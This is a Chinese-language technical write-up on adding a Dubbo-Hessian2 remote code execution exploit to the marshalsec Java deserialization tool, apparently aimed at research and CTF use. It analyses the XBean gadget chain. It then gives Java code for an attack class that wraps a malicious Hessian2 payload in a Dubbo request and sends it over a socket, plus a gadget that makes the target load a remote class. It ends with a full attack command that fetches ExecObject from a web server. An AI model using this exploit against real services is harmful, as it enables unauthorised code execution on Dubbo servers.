marshalsec改造篇-加入dubbo-hessian2 exploit
字数 1924 2025-08-06 08:35:27
Marshalsec改造篇:加入Dubbo-Hessian2 Exploit
0x00 前言
1. Marshalsec概述
Marshalsec是一个Java反序列化安全研究工具,官方描述为"将数据转换为代码执行"。它能够生成特定编码的数据,在JVM解码时执行预设的代码。
2. 使用方法
- 编译要求:Java 8
- 编译命令:
mvn clean package -DskipTests - 执行命令格式:
参数说明:java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]-a:生成exploit下的所有payload-v:verbose模式,展示生成的payload-t:对生成的payload进行解码测试gadget_type:指定使用的payload类型arguments:payload运行时使用的参数
3. 支持的Exploit和Payload
| Marshaller | Gadget Impact |
|---|---|
| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization, various third party libraries RCEs |
| Hessian|Burlap | various third party RCEs |
| Castor | dependency library RCE |
| ... | ... |
0x01 Marshalsec源码分析
1. 项目结构
├── BlazeDSAMF0.java
├── BlazeDSAMF3.java
├── ...
├── DubboHessian.java (新增)
├── Hessian2.java (新增)
├── HessianBase2.java (新增)
├── ...
└── gadgets
├── ...
└── XBean2.java (新增)
2. 核心执行流程
- 参数解析:解析
-a、-v、-t等参数 - Gadget类型确定:根据输入确定使用的payload类型
- Payload生成:
- 调用
createObject创建payload对象 - 调用
marshal方法序列化对象
- 调用
- 输出与测试:
- 使用
-v参数输出payload - 使用
-t参数测试反序列化
- 使用
3. 关键类分析
- HessianBase:基础类,提供序列化/反序列化方法
- Hessian:实现Hessian协议的具体类
- MarshallerBase:所有exploits的基类,提供run方法
0x02 Hessian Payload原理分析
1. XBean Gadget分析
XBean利用链的核心流程:
- HashMap反序列化:Hessian反序列化HashMap时触发
- equals方法调用:由于两个元素的hashCode相同,触发equals方法
- toString方法调用:XString的equals方法调用ReadOnlyBinding的toString
- 远程类加载:ReadOnlyBinding的getObject方法加载远程恶意class
2. 关键调用栈
getObjectInstance:319, NamingManager
resolve:73, ContextUtil
getObject:204, ContextUtil$ReadOnlyBinding
toString:192, Binding
equals:392, XString
equals:104, HotSwappableTargetSource
putVal:634, HashMap
put:611, HashMap
readMap:114, MapDeserializer
3. 核心类说明
- HotSwappableTargetSource:Spring AOP触发类
- XString:触发toString的包装类
- ReadOnlyBinding:包含Reference对象,触发远程类加载
0x03 Dubbo-Hessian2 Exploit实现
1. 新增类说明
-
HessianBase2:
- 继承MarshallerBase
- 实现XBean2接口
- 提供Hessian2序列化基础功能
-
Hessian2:
- 继承HessianBase2
- 重写createOutput/createInput方法
- 使用Hessian2Output/Hessian2Input
-
DubboHessian:
- 攻击入口类
- 处理dubbo协议封装
- 实现TCP连接和攻击
2. 关键修改点
-
参数处理:
public DubboHessian(String[] args) { int argoff = 0; while (argoff < args.length && args[argoff].charAt(0) == '-') { if (args[argoff].equals("--attack")) { argoff++; host = args[argoff++]; port = Integer.parseInt(args[argoff++]); } else { argoff++; } } } -
Dubbo协议封装:
private void attack(byte[] bytes) throws IOException { // 构造Dubbo协议头 byte[] header = new byte[16]; Bytes.short2bytes((short) 0xdabb, header); header[2] = (byte) ((byte) 0x80 | 2); Bytes.long2bytes(new Random().nextInt(100000000), header, 4); // 构造Hessian2序列化数据 ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); out.writeUTF("2.0.2"); out.writeUTF("com.example.DemoService"); // 服务名 out.writeUTF("1.0"); // 版本号 out.writeUTF("hello"); // 方法名 out.writeUTF("Ljava/util/Map;"); // 方法描述 out.flushBuffer(); // 组合完整数据包 Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + bytes.length, header, 12); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byteArrayOutputStream.write(bytes); // 发送攻击数据 Socket socket = new Socket(host, port); OutputStream outputStream = socket.getOutputStream(); outputStream.write(byteArrayOutputStream.toByteArray()); outputStream.flush(); outputStream.close(); } -
XBean2改进:
public interface XBean2 extends Gadget { @Args(minArgs = 2, args = {"codebase", "classname"}, defaultArgs = {MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass}) default Object makeXBean(UtilFactory uf, String[] args) throws Exception { Context ctx = Reflections.createWithoutConstructor(WritableContext.class); Reference ref = new Reference("foo", args[1], args[0]); ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx); return uf.makeToStringTriggerStable(binding); } }
0x04 测试与验证
1. 测试环境搭建
-
Dubbo服务端:
- 使用Dubbo 2.6.3
- 配置dubbo协议,端口20881
- 示例服务接口:
public interface DemoService { String hello(); }
-
恶意类准备:
- 编译恶意类ExecObject.class
- 放置在Web服务器可访问位置
2. 攻击执行
执行命令:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.DubboHessian --attack 127.0.0.1 20881 XBean2 http://127.0.0.1/ ExecObject
3. 测试结果
- Spring/Spring Boot环境:可使用Rome、Resin gadget
- 纯Spring环境:可使用SpringAbstractBeanFactoryPointcutAdvisor、Rome、XBean2、Resin
参考
PS
- Spring环境有版本限制,但SpringAbstractBeanFactoryPointcutAdvisor gadget在兼容版本中效果最佳
- 发现新的Dubbo攻击方式,适用于CTF场景